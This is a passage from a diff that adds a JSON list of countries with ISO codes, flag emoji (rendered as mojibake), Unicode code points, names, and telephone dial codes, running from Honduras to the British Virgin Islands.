"๐Ÿ‡ญ๐Ÿ‡ณ", + "unicode": "U+1F1ED U+1F1F3", + "name": "Honduras", + "title": "flag for Honduras", + "dialCode": "+504" + }, + { + "code": "HR", + "emoji": "๐Ÿ‡ญ๐Ÿ‡ท", + "unicode": "U+1F1ED U+1F1F7", + "name": "Croatia", + "title": "flag for Croatia", + "dialCode": "+385" + }, + { + "code": "HT", + "emoji": "๐Ÿ‡ญ๐Ÿ‡น", + "unicode": "U+1F1ED U+1F1F9", + "name": "Haiti", + "title": "flag for Haiti", + "dialCode": "+509" + }, + { + "code": "HU", + "emoji": "๐Ÿ‡ญ๐Ÿ‡บ", + "unicode": "U+1F1ED U+1F1FA", + "name": "Hungary", + "title": "flag for Hungary", + "dialCode": "+36" + }, + { + "code": "ID", + "emoji": "๐Ÿ‡ฎ๐Ÿ‡ฉ", + "unicode": "U+1F1EE U+1F1E9", + "name": "Indonesia", + "title": "flag for Indonesia", + "dialCode": "+62" + }, + { + "code": "IE", + "emoji": "๐Ÿ‡ฎ๐Ÿ‡ช", + "unicode": "U+1F1EE U+1F1EA", + "name": "Ireland", + "title": "flag for Ireland", + "dialCode": "+353" + }, + { + "code": "IL", + "emoji": "๐Ÿ‡ฎ๐Ÿ‡ฑ", + "unicode": "U+1F1EE U+1F1F1", + "name": "Israel", + "title": "flag for Israel", + "dialCode": "+972" + }, + { + "code": "IM", + "emoji": "๐Ÿ‡ฎ๐Ÿ‡ฒ", + "unicode": "U+1F1EE U+1F1F2", + "name": "Isle of Man", + "title": "flag for Isle of Man", + "dialCode": "+44" + }, + { + "code": "IN", + "emoji": "๐Ÿ‡ฎ๐Ÿ‡ณ", + "unicode": "U+1F1EE U+1F1F3", + "name": "India", + "title": "flag for India", + "dialCode": "+91" + }, + { + "code": "IO", + "emoji": "๐Ÿ‡ฎ๐Ÿ‡ด", + "unicode": "U+1F1EE U+1F1F4", + "name": "British Indian Ocean Territory", + "title": "flag for British Indian Ocean Territory", + "dialCode": "+246" + }, + { + "code": "IQ", + "emoji": "๐Ÿ‡ฎ๐Ÿ‡ถ", + "unicode": "U+1F1EE U+1F1F6", + "name": "Iraq", + "title": "flag for Iraq", + "dialCode": "+964" + }, + { + "code": "IR", + "emoji": "๐Ÿ‡ฎ๐Ÿ‡ท", + "unicode": "U+1F1EE U+1F1F7", + "name": "Iran", + "title": "flag for Iran", + "dialCode": "+98" + }, + { + "code": "IS", + "emoji": "๐Ÿ‡ฎ๐Ÿ‡ธ", + "unicode": "U+1F1EE U+1F1F8", + "name": "Iceland", + "title": "flag for Iceland", + "dialCode": "+354" + }, + { + "code": "IT", + "emoji": "๐Ÿ‡ฎ๐Ÿ‡น", + "unicode": "U+1F1EE U+1F1F9", + "name": "Italy", + "title": "flag for Italy", + "dialCode": "+39" + }, + { + "code": "JE", + "emoji": "๐Ÿ‡ฏ๐Ÿ‡ช", + "unicode": "U+1F1EF U+1F1EA", + "name": "Jersey", + "title": "flag for Jersey", + "dialCode": "+44" + }, + { + "code": "JM", + "emoji": "๐Ÿ‡ฏ๐Ÿ‡ฒ", + "unicode": "U+1F1EF U+1F1F2", + "name": "Jamaica", + "title": "flag for Jamaica", + "dialCode": "+1 876" + }, + { + "code": "JO", + "emoji": "๐Ÿ‡ฏ๐Ÿ‡ด", + "unicode": "U+1F1EF U+1F1F4", + "name": "Jordan", + "title": "flag for Jordan", + "dialCode": "+962" + }, + { + "code": "JP", + "emoji": "๐Ÿ‡ฏ๐Ÿ‡ต", + "unicode": "U+1F1EF U+1F1F5", + "name": "Japan", + "title": "flag for Japan", + "dialCode": "+81" + }, + { + "code": "KE", + "emoji": "๐Ÿ‡ฐ๐Ÿ‡ช", + "unicode": "U+1F1F0 U+1F1EA", + "name": "Kenya", + "title": "flag for Kenya", + "dialCode": "+254" + }, + { + "code": "KG", + "emoji": "๐Ÿ‡ฐ๐Ÿ‡ฌ", + "unicode": "U+1F1F0 U+1F1EC", + "name": "Kyrgyzstan", + "title": "flag for Kyrgyzstan", + "dialCode": "+996" + }, + { + "code": "KH", + "emoji": "๐Ÿ‡ฐ๐Ÿ‡ญ", + "unicode": "U+1F1F0 U+1F1ED", + "name": "Cambodia", + "title": "flag for Cambodia", + "dialCode": "+855" + }, + { + "code": "KI", + "emoji": "๐Ÿ‡ฐ๐Ÿ‡ฎ", + "unicode": "U+1F1F0 U+1F1EE", + "name": "Kiribati", + "title": "flag for Kiribati", + "dialCode": "+686" + }, + { + "code": "KM", + "emoji": "๐Ÿ‡ฐ๐Ÿ‡ฒ", + "unicode": "U+1F1F0 U+1F1F2", + "name": "Comoros", + "title": "flag for Comoros", + "dialCode": "+269" + }, + { + "code": "KN", + "emoji": "๐Ÿ‡ฐ๐Ÿ‡ณ", + "unicode": "U+1F1F0 U+1F1F3", + "name": "Saint Kitts and Nevis", + "title": "flag for Saint Kitts and Nevis", + "dialCode": "+1 869" + }, + { + "code": "KP", + "emoji": "๐Ÿ‡ฐ๐Ÿ‡ต", + "unicode": "U+1F1F0 U+1F1F5", + "name": "North Korea", + "title": "flag for North Korea", + "dialCode": "+850" + }, + { + "code": "KR", + "emoji": "๐Ÿ‡ฐ๐Ÿ‡ท", + "unicode": "U+1F1F0 U+1F1F7", + "name": "South Korea", + "title": "flag for South Korea", + "dialCode": "+82" + }, + { + "code": "KW", + "emoji": "๐Ÿ‡ฐ๐Ÿ‡ผ", + "unicode": "U+1F1F0 U+1F1FC", + "name": "Kuwait", + "title": "flag for Kuwait", + "dialCode": "+965" + }, + { + "code": "KY", + "emoji": "๐Ÿ‡ฐ๐Ÿ‡พ", + "unicode": "U+1F1F0 U+1F1FE", + "name": "Cayman Islands", + "title": "flag for Cayman Islands", + "dialCode": "+ 345" + }, + { + "code": "KZ", + "emoji": "๐Ÿ‡ฐ๐Ÿ‡ฟ", + "unicode": "U+1F1F0 U+1F1FF", + "name": "Kazakhstan", + "title": "flag for Kazakhstan", + "dialCode": "+7 7" + }, + { + "code": "LA", + "emoji": "๐Ÿ‡ฑ๐Ÿ‡ฆ", + "unicode": "U+1F1F1 U+1F1E6", + "name": "Lao People's Democratic Republic", + "title": "flag for Lao People's Democratic Republic", + "dialCode": "+856" + }, + { + "code": "LB", + "emoji": "๐Ÿ‡ฑ๐Ÿ‡ง", + "unicode": "U+1F1F1 U+1F1E7", + "name": "Lebanon", + "title": "flag for Lebanon", + "dialCode": "+961" + }, + { + "code": "LC", + "emoji": "๐Ÿ‡ฑ๐Ÿ‡จ", + "unicode": "U+1F1F1 U+1F1E8", + "name": "Saint Lucia", + "title": "flag for Saint Lucia", + "dialCode": "+1 758" + }, + { + "code": "LI", + "emoji": "๐Ÿ‡ฑ๐Ÿ‡ฎ", + "unicode": "U+1F1F1 U+1F1EE", + "name": "Liechtenstein", + "title": "flag for Liechtenstein", + "dialCode": "+423" + }, + { + "code": "LK", + "emoji": "๐Ÿ‡ฑ๐Ÿ‡ฐ", + "unicode": "U+1F1F1 U+1F1F0", + "name": "Sri Lanka", + "title": "flag for Sri Lanka", + "dialCode": "+94" + }, + { + "code": "LR", + "emoji": "๐Ÿ‡ฑ๐Ÿ‡ท", + "unicode": "U+1F1F1 U+1F1F7", + "name": "Liberia", + "title": "flag for Liberia", + "dialCode": "+231" + }, + { + "code": "LS", + "emoji": "๐Ÿ‡ฑ๐Ÿ‡ธ", + "unicode": "U+1F1F1 U+1F1F8", + "name": "Lesotho", + "title": "flag for Lesotho", + "dialCode": "+266" + }, + { + "code": "LT", + "emoji": "๐Ÿ‡ฑ๐Ÿ‡น", + "unicode": "U+1F1F1 U+1F1F9", + "name": "Lithuania", + "title": "flag for Lithuania", + "dialCode": "+370" + }, + { + "code": "LU", + "emoji": "๐Ÿ‡ฑ๐Ÿ‡บ", + "unicode": "U+1F1F1 U+1F1FA", + "name": "Luxembourg", + "title": "flag for Luxembourg", + "dialCode": "+352" + }, + { + "code": "LV", + "emoji": "๐Ÿ‡ฑ๐Ÿ‡ป", + "unicode": "U+1F1F1 U+1F1FB", + "name": "Latvia", + "title": "flag for Latvia", + "dialCode": "+371" + }, + { + "code": "LY", + "emoji": "๐Ÿ‡ฑ๐Ÿ‡พ", + "unicode": "U+1F1F1 U+1F1FE", + "name": "Libya", + "title": "flag for Libya", + "dialCode": "+218" + }, + { + "code": "MA", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฆ", + "unicode": "U+1F1F2 U+1F1E6", + "name": "Morocco", + "title": "flag for Morocco", + "dialCode": "+212" + }, + { + "code": "MC", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡จ", + "unicode": "U+1F1F2 U+1F1E8", + "name": "Monaco", + "title": "flag for Monaco", + "dialCode": "+377" + }, + { + "code": "MD", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฉ", + "unicode": "U+1F1F2 U+1F1E9", + "name": "Moldova", + "title": "flag for Moldova", + "dialCode": "+373" + }, + { + "code": "ME", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ช", + "unicode": "U+1F1F2 U+1F1EA", + "name": "Montenegro", + "title": "flag for Montenegro", + "dialCode": "+382" + }, + { + "code": "MF", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ซ", + "unicode": "U+1F1F2 U+1F1EB", + "name": "Saint Martin (French Part)", + "title": "flag for Saint Martin (French Part)", + "dialCode": "+590" + }, + { + "code": "MG", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฌ", + "unicode": "U+1F1F2 U+1F1EC", + "name": "Madagascar", + "title": "flag for Madagascar", + "dialCode": "+261" + }, + { + "code": "MH", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ญ", + "unicode": "U+1F1F2 U+1F1ED", + "name": "Marshall Islands", + "title": "flag for Marshall Islands", + "dialCode": "+692" + }, + { + "code": "MK", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฐ", + "unicode": "U+1F1F2 U+1F1F0", + "name": "Macedonia", + "title": "flag for Macedonia", + "dialCode": "+389" + }, + { + "code": "ML", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฑ", + "unicode": "U+1F1F2 U+1F1F1", + "name": "Mali", + "title": "flag for Mali", + "dialCode": "+223" + }, + { + "code": "MM", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฒ", + "unicode": "U+1F1F2 U+1F1F2", + "name": "Myanmar", + "title": "flag for Myanmar", + "dialCode": "+95" + }, + { + "code": "MN", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ณ", + "unicode": "U+1F1F2 U+1F1F3", + "name": "Mongolia", + "title": "flag for Mongolia", + "dialCode": "+976" + }, + { + "code": "MO", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ด", + "unicode": "U+1F1F2 U+1F1F4", + "name": "Macao", + "title": "flag for Macao", + "dialCode": "+853" + }, + { + "code": "MP", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ต", + "unicode": "U+1F1F2 U+1F1F5", + "name": "Northern Mariana Islands", + "title": "flag for Northern Mariana Islands", + "dialCode": "+1 670" + }, + { + "code": "MQ", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ถ", + "unicode": "U+1F1F2 U+1F1F6", + "name": "Martinique", + "title": "flag for Martinique", + "dialCode": "+596" + }, + { + "code": "MR", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ท", + "unicode": "U+1F1F2 U+1F1F7", + "name": "Mauritania", + "title": "flag for Mauritania", + "dialCode": "+222" + }, + { + "code": "MS", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ธ", + "unicode": "U+1F1F2 U+1F1F8", + "name": "Montserrat", + "title": "flag for Montserrat", + "dialCode": "+1664" + }, + { + "code": "MT", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡น", + "unicode": "U+1F1F2 U+1F1F9", + "name": "Malta", + "title": "flag for Malta", + "dialCode": "+356" + }, + { + "code": "MU", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡บ", + "unicode": "U+1F1F2 U+1F1FA", + "name": "Mauritius", + "title": "flag for Mauritius", + "dialCode": "+230" + }, + { + "code": "MV", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ป", + "unicode": "U+1F1F2 U+1F1FB", + "name": "Maldives", + "title": "flag for Maldives", + "dialCode": "+960" + }, + { + "code": "MW", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ผ", + "unicode": "U+1F1F2 U+1F1FC", + "name": "Malawi", + "title": "flag for Malawi", + "dialCode": "+265" + }, + { + "code": "MX", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฝ", + "unicode": "U+1F1F2 U+1F1FD", + "name": "Mexico", + "title": "flag for Mexico", + "dialCode": "+52" + }, + { + "code": "MY", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡พ", + "unicode": "U+1F1F2 U+1F1FE", + "name": "Malaysia", + "title": "flag for Malaysia", + "dialCode": "+60" + }, + { + "code": "MZ", + "emoji": "๐Ÿ‡ฒ๐Ÿ‡ฟ", + "unicode": "U+1F1F2 U+1F1FF", + "name": "Mozambique", + "title": "flag for Mozambique", + "dialCode": "+258" + }, + { + "code": "NA", + "emoji": "๐Ÿ‡ณ๐Ÿ‡ฆ", + "unicode": "U+1F1F3 U+1F1E6", + "name": "Namibia", + "title": "flag for Namibia", + "dialCode": "+264" + }, + { + "code": "NC", + "emoji": "๐Ÿ‡ณ๐Ÿ‡จ", + "unicode": "U+1F1F3 U+1F1E8", + "name": "New Caledonia", + "title": "flag for New Caledonia", + "dialCode": "+687" + }, + { + "code": "NE", + "emoji": "๐Ÿ‡ณ๐Ÿ‡ช", + "unicode": "U+1F1F3 U+1F1EA", + "name": "Niger", + "title": "flag for Niger", + "dialCode": "+227" + }, + { + "code": "NF", + "emoji": "๐Ÿ‡ณ๐Ÿ‡ซ", + "unicode": "U+1F1F3 U+1F1EB", + "name": "Norfolk Island", + "title": "flag for Norfolk Island", + "dialCode": "+672" + }, + { + "code": "NG", + "emoji": "๐Ÿ‡ณ๐Ÿ‡ฌ", + "unicode": "U+1F1F3 U+1F1EC", + "name": "Nigeria", + "title": "flag for Nigeria", + "dialCode": "+234" + }, + { + "code": "NI", + "emoji": "๐Ÿ‡ณ๐Ÿ‡ฎ", + "unicode": "U+1F1F3 U+1F1EE", + "name": "Nicaragua", + "title": "flag for Nicaragua", + "dialCode": "+505" + }, + { + "code": "NL", + "emoji": "๐Ÿ‡ณ๐Ÿ‡ฑ", + "unicode": "U+1F1F3 U+1F1F1", + "name": "Netherlands", + "title": "flag for Netherlands", + "dialCode": "+31" + }, + { + "code": "NO", + "emoji": "๐Ÿ‡ณ๐Ÿ‡ด", + "unicode": "U+1F1F3 U+1F1F4", + "name": "Norway", + "title": "flag for Norway", + "dialCode": "+47" + }, + { + "code": "NP", + "emoji": "๐Ÿ‡ณ๐Ÿ‡ต", + "unicode": "U+1F1F3 U+1F1F5", + "name": "Nepal", + "title": "flag for Nepal", + "dialCode": "+977" + }, + { + "code": "NR", + "emoji": "๐Ÿ‡ณ๐Ÿ‡ท", + "unicode": "U+1F1F3 U+1F1F7", + "name": "Nauru", + "title": "flag for Nauru", + "dialCode": "+674" + }, + { + "code": "NU", + "emoji": "๐Ÿ‡ณ๐Ÿ‡บ", + "unicode": "U+1F1F3 U+1F1FA", + "name": "Niue", + "title": "flag for Niue", + "dialCode": "+683" + }, + { + "code": "NZ", + "emoji": "๐Ÿ‡ณ๐Ÿ‡ฟ", + "unicode": "U+1F1F3 U+1F1FF", + "name": "New Zealand", + "title": "flag for New Zealand", + "dialCode": "+64" + }, + { + "code": "OM", + "emoji": "๐Ÿ‡ด๐Ÿ‡ฒ", + "unicode": "U+1F1F4 U+1F1F2", + "name": "Oman", + "title": "flag for Oman", + "dialCode": "+968" + }, + { + "code": "PA", + "emoji": "๐Ÿ‡ต๐Ÿ‡ฆ", + "unicode": "U+1F1F5 U+1F1E6", + "name": "Panama", + "title": "flag for Panama", + "dialCode": "+507" + }, + { + "code": "PE", + "emoji": "๐Ÿ‡ต๐Ÿ‡ช", + "unicode": "U+1F1F5 U+1F1EA", + "name": "Peru", + "title": "flag for Peru", + "dialCode": "+51" + }, + { + "code": "PF", + "emoji": "๐Ÿ‡ต๐Ÿ‡ซ", + "unicode": "U+1F1F5 U+1F1EB", + "name": "French Polynesia", + "title": "flag for French Polynesia", + "dialCode": "+689" + }, + { + "code": "PG", + "emoji": "๐Ÿ‡ต๐Ÿ‡ฌ", + "unicode": "U+1F1F5 U+1F1EC", + "name": "Papua New Guinea", + "title": "flag for Papua New Guinea", + "dialCode": "+675" + }, + { + "code": "PH", + "emoji": "๐Ÿ‡ต๐Ÿ‡ญ", + "unicode": "U+1F1F5 U+1F1ED", + "name": "Philippines", + "title": "flag for Philippines", + "dialCode": "+63" + }, + { + "code": "PK", + "emoji": "๐Ÿ‡ต๐Ÿ‡ฐ", + "unicode": "U+1F1F5 U+1F1F0", + "name": "Pakistan", + "title": "flag for Pakistan", + "dialCode": "+92" + }, + { + "code": "PL", + "emoji": "๐Ÿ‡ต๐Ÿ‡ฑ", + "unicode": "U+1F1F5 U+1F1F1", + "name": "Poland", + "title": "flag for Poland", + "dialCode": "+48" + }, + { + "code": "PM", + "emoji": "๐Ÿ‡ต๐Ÿ‡ฒ", + "unicode": "U+1F1F5 U+1F1F2", + "name": "Saint Pierre and Miquelon", + "title": "flag for Saint Pierre and Miquelon", + "dialCode": "+508" + }, + { + "code": "PN", + "emoji": "๐Ÿ‡ต๐Ÿ‡ณ", + "unicode": "U+1F1F5 U+1F1F3", + "name": "Pitcairn", + "title": "flag for Pitcairn", + "dialCode": "+872" + }, + { + "code": "PR", + "emoji": "๐Ÿ‡ต๐Ÿ‡ท", + "unicode": "U+1F1F5 U+1F1F7", + "name": "Puerto Rico", + "title": "flag for Puerto Rico", + "dialCode": "+1 939" + }, + { + "code": "PS", + "emoji": "๐Ÿ‡ต๐Ÿ‡ธ", + "unicode": "U+1F1F5 U+1F1F8", + "name": "Palestinian Territory", + "title": "flag for Palestinian Territory", + "dialCode": "+970" + }, + { + "code": "PT", + "emoji": "๐Ÿ‡ต๐Ÿ‡น", + "unicode": "U+1F1F5 U+1F1F9", + "name": "Portugal", + "title": "flag for Portugal", + "dialCode": "+351" + }, + { + "code": "PW", + "emoji": "๐Ÿ‡ต๐Ÿ‡ผ", + "unicode": "U+1F1F5 U+1F1FC", + "name": "Palau", + "title": "flag for Palau", + "dialCode": "+680" + }, + { + "code": "PY", + "emoji": "๐Ÿ‡ต๐Ÿ‡พ", + "unicode": "U+1F1F5 U+1F1FE", + "name": "Paraguay", + "title": "flag for Paraguay", + "dialCode": "+595" + }, + { + "code": "QA", + "emoji": "๐Ÿ‡ถ๐Ÿ‡ฆ", + "unicode": "U+1F1F6 U+1F1E6", + "name": "Qatar", + "title": "flag for Qatar", + "dialCode": "+974" + }, + { + "code": "RE", + "emoji": "๐Ÿ‡ท๐Ÿ‡ช", + "unicode": "U+1F1F7 U+1F1EA", + "name": "Rรฉunion", + "title": "flag for Rรฉunion", + "dialCode": "+262" + }, + { + "code": "RO", + "emoji": "๐Ÿ‡ท๐Ÿ‡ด", + "unicode": "U+1F1F7 U+1F1F4", + "name": "Romania", + "title": "flag for Romania", + "dialCode": "+40" + }, + { + "code": "RS", + "emoji": "๐Ÿ‡ท๐Ÿ‡ธ", + "unicode": "U+1F1F7 U+1F1F8", + "name": "Serbia", + "title": "flag for Serbia", + "dialCode": "+381" + }, + { + "code": "RU", + "emoji": "๐Ÿ‡ท๐Ÿ‡บ", + "unicode": "U+1F1F7 U+1F1FA", + "name": "Russia", + "title": "flag for Russia", + "dialCode": "+7" + }, + { + "code": "RW", + "emoji": "๐Ÿ‡ท๐Ÿ‡ผ", + "unicode": "U+1F1F7 U+1F1FC", + "name": "Rwanda", + "title": "flag for Rwanda", + "dialCode": "+250" + }, + { + "code": "SA", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ฆ", + "unicode": "U+1F1F8 U+1F1E6", + "name": "Saudi Arabia", + "title": "flag for Saudi Arabia", + "dialCode": "+966" + }, + { + "code": "SB", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ง", + "unicode": "U+1F1F8 U+1F1E7", + "name": "Solomon Islands", + "title": "flag for Solomon Islands", + "dialCode": "+677" + }, + { + "code": "SC", + "emoji": "๐Ÿ‡ธ๐Ÿ‡จ", + "unicode": "U+1F1F8 U+1F1E8", + "name": "Seychelles", + "title": "flag for Seychelles", + "dialCode": "+248" + }, + { + "code": "SD", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ฉ", + "unicode": "U+1F1F8 U+1F1E9", + "name": "Sudan", + "title": "flag for Sudan", + "dialCode": "+249" + }, + { + "code": "SE", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ช", + "unicode": "U+1F1F8 U+1F1EA", + "name": "Sweden", + "title": "flag for Sweden", + "dialCode": "+46" + }, + { + "code": "SG", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ฌ", + "unicode": "U+1F1F8 U+1F1EC", + "name": "Singapore", + "title": "flag for Singapore", + "dialCode": "+65" + }, + { + "code": "SH", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ญ", + "unicode": "U+1F1F8 U+1F1ED", + "name": "Saint Helena, Ascension and Tristan Da Cunha", + "title": "flag for Saint Helena, Ascension and Tristan Da Cunha", + "dialCode": "+290" + }, + { + "code": "SI", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ฎ", + "unicode": "U+1F1F8 U+1F1EE", + "name": "Slovenia", + "title": "flag for Slovenia", + "dialCode": "+386" + }, + { + "code": "SJ", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ฏ", + "unicode": "U+1F1F8 U+1F1EF", + "name": "Svalbard and Jan Mayen", + "title": "flag for Svalbard and Jan Mayen", + "dialCode": "+47" + }, + { + "code": "SK", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ฐ", + "unicode": "U+1F1F8 U+1F1F0", + "name": "Slovakia", + "title": "flag for Slovakia", + "dialCode": "+421" + }, + { + "code": "SL", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ฑ", + "unicode": "U+1F1F8 U+1F1F1", + "name": "Sierra Leone", + "title": "flag for Sierra Leone", + "dialCode": "+232" + }, + { + "code": "SM", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ฒ", + "unicode": "U+1F1F8 U+1F1F2", + "name": "San Marino", + "title": "flag for San Marino", + "dialCode": "+378" + }, + { + "code": "SN", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ณ", + "unicode": "U+1F1F8 U+1F1F3", + "name": "Senegal", + "title": "flag for Senegal", + "dialCode": "+221" + }, + { + "code": "SO", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ด", + "unicode": "U+1F1F8 U+1F1F4", + "name": "Somalia", + "title": "flag for Somalia", + "dialCode": "+252" + }, + { + "code": "SR", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ท", + "unicode": "U+1F1F8 U+1F1F7", + "name": "Suriname", + "title": "flag for Suriname", + "dialCode": "+597" + }, + { + "code": "SS", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ธ", + "unicode": "U+1F1F8 U+1F1F8", + "name": "South Sudan", + "title": "flag for South Sudan" + }, + { + "code": "ST", + "emoji": "๐Ÿ‡ธ๐Ÿ‡น", + "unicode": "U+1F1F8 U+1F1F9", + "name": "Sao Tome and Principe", + "title": "flag for Sao Tome and Principe", + "dialCode": "+239" + }, + { + "code": "SV", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ป", + "unicode": "U+1F1F8 U+1F1FB", + "name": "El Salvador", + "title": "flag for El Salvador", + "dialCode": "+503" + }, + { + "code": "SX", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ฝ", + "unicode": "U+1F1F8 U+1F1FD", + "name": "Sint Maarten (Dutch Part)", + "title": "flag for Sint Maarten (Dutch Part)" + }, + { + "code": "SY", + "emoji": "๐Ÿ‡ธ๐Ÿ‡พ", + "unicode": "U+1F1F8 U+1F1FE", + "name": "Syrian Arab Republic", + "title": "flag for Syrian Arab Republic", + "dialCode": "+963" + }, + { + "code": "SZ", + "emoji": "๐Ÿ‡ธ๐Ÿ‡ฟ", + "unicode": "U+1F1F8 U+1F1FF", + "name": "Swaziland", + "title": "flag for Swaziland", + "dialCode": "+268" + }, + { + "code": "TC", + "emoji": "๐Ÿ‡น๐Ÿ‡จ", + "unicode": "U+1F1F9 U+1F1E8", + "name": "Turks and Caicos Islands", + "title": "flag for Turks and Caicos Islands", + "dialCode": "+1 649" + }, + { + "code": "TD", + "emoji": "๐Ÿ‡น๐Ÿ‡ฉ", + "unicode": "U+1F1F9 U+1F1E9", + "name": "Chad", + "title": "flag for Chad", + "dialCode": "+235" + }, + { + "code": "TF", + "emoji": "๐Ÿ‡น๐Ÿ‡ซ", + "unicode": "U+1F1F9 U+1F1EB", + "name": "French Southern Territories", + "title": "flag for French Southern Territories" + }, + { + "code": "TG", + "emoji": "๐Ÿ‡น๐Ÿ‡ฌ", + "unicode": "U+1F1F9 U+1F1EC", + "name": "Togo", + "title": "flag for Togo", + "dialCode": "+228" + }, + { + "code": "TH", + "emoji": "๐Ÿ‡น๐Ÿ‡ญ", + "unicode": "U+1F1F9 U+1F1ED", + "name": "Thailand", + "title": "flag for Thailand", + "dialCode": "+66" + }, + { + "code": "TJ", + "emoji": "๐Ÿ‡น๐Ÿ‡ฏ", + "unicode": "U+1F1F9 U+1F1EF", + "name": "Tajikistan", + "title": "flag for Tajikistan", + "dialCode": "+992" + }, + { + "code": "TK", + "emoji": "๐Ÿ‡น๐Ÿ‡ฐ", + "unicode": "U+1F1F9 U+1F1F0", + "name": "Tokelau", + "title": "flag for Tokelau", + "dialCode": "+690" + }, + { + "code": "TL", + "emoji": "๐Ÿ‡น๐Ÿ‡ฑ", + "unicode": "U+1F1F9 U+1F1F1", + "name": "Timor-Leste", + "title": "flag for Timor-Leste", + "dialCode": "+670" + }, + { + "code": "TM", + "emoji": "๐Ÿ‡น๐Ÿ‡ฒ", + "unicode": "U+1F1F9 U+1F1F2", + "name": "Turkmenistan", + "title": "flag for Turkmenistan", + "dialCode": "+993" + }, + { + "code": "TN", + "emoji": "๐Ÿ‡น๐Ÿ‡ณ", + "unicode": "U+1F1F9 U+1F1F3", + "name": "Tunisia", + "title": "flag for Tunisia", + "dialCode": "+216" + }, + { + "code": "TO", + "emoji": "๐Ÿ‡น๐Ÿ‡ด", + "unicode": "U+1F1F9 U+1F1F4", + "name": "Tonga", + "title": "flag for Tonga", + "dialCode": "+676" + }, + { + "code": "TR", + "emoji": "๐Ÿ‡น๐Ÿ‡ท", + "unicode": "U+1F1F9 U+1F1F7", + "name": "Turkey", + "title": "flag for Turkey", + "dialCode": "+90" + }, + { + "code": "TT", + "emoji": "๐Ÿ‡น๐Ÿ‡น", + "unicode": "U+1F1F9 U+1F1F9", + "name": "Trinidad and Tobago", + "title": "flag for Trinidad and Tobago", + "dialCode": "+1 868" + }, + { + "code": "TV", + "emoji": "๐Ÿ‡น๐Ÿ‡ป", + "unicode": "U+1F1F9 U+1F1FB", + "name": "Tuvalu", + "title": "flag for Tuvalu", + "dialCode": "+688" + }, + { + "code": "TW", + "emoji": "๐Ÿ‡น๐Ÿ‡ผ", + "unicode": "U+1F1F9 U+1F1FC", + "name": "Taiwan", + "title": "flag for Taiwan", + "dialCode": "+886" + }, + { + "code": "TZ", + "emoji": "๐Ÿ‡น๐Ÿ‡ฟ", + "unicode": "U+1F1F9 U+1F1FF", + "name": "Tanzania", + "title": "flag for Tanzania", + "dialCode": "+255" + }, + { + "code": "UA", + "emoji": "๐Ÿ‡บ๐Ÿ‡ฆ", + "unicode": "U+1F1FA U+1F1E6", + "name": "Ukraine", + "title": "flag for Ukraine", + "dialCode": "+380" + }, + { + "code": "UG", + "emoji": "๐Ÿ‡บ๐Ÿ‡ฌ", + "unicode": "U+1F1FA U+1F1EC", + "name": "Uganda", + "title": "flag for Uganda", + "dialCode": "+256" + }, + { + "code": "UM", + "emoji": "๐Ÿ‡บ๐Ÿ‡ฒ", + "unicode": "U+1F1FA U+1F1F2", + "name": "United States Minor Outlying Islands", + "title": "flag for United States Minor Outlying Islands" + }, + { + "code": "US", + "emoji": "๐Ÿ‡บ๐Ÿ‡ธ", + "unicode": "U+1F1FA U+1F1F8", + "name": "United States", + "title": "flag for United States", + "dialCode": "+1" + }, + { + "code": "UY", + "emoji": "๐Ÿ‡บ๐Ÿ‡พ", + "unicode": "U+1F1FA U+1F1FE", + "name": "Uruguay", + "title": "flag for Uruguay", + "dialCode": "+598" + }, + { + "code": "UZ", + "emoji": "๐Ÿ‡บ๐Ÿ‡ฟ", + "unicode": "U+1F1FA U+1F1FF", + "name": "Uzbekistan", + "title": "flag for Uzbekistan", + "dialCode": "+998" + }, + { + "code": "VA", + "emoji": "๐Ÿ‡ป๐Ÿ‡ฆ", + "unicode": "U+1F1FB U+1F1E6", + "name": "Vatican City", + "title": "flag for Vatican City", + "dialCode": "+379" + }, + { + "code": "VC", + "emoji": "๐Ÿ‡ป๐Ÿ‡จ", + "unicode": "U+1F1FB U+1F1E8", + "name": "Saint Vincent and The Grenadines", + "title": "flag for Saint Vincent and The Grenadines", + "dialCode": "+1 784" + }, + { + "code": "VE", + "emoji": "๐Ÿ‡ป๐Ÿ‡ช", + "unicode": "U+1F1FB U+1F1EA", + "name": "Venezuela", + "title": "flag for Venezuela", + "dialCode": "+58" + }, + { + "code": "VG", + "emoji": "๐Ÿ‡ป๐Ÿ‡ฌ", + "unicode": "U+1F1FB U+1F1EC", + "name": "Virgin Islands, British", + "title": "flag for Virgin Islands, British", + "dialCode": "+1 284" + }, + { + "code": "VI", + "emoji": 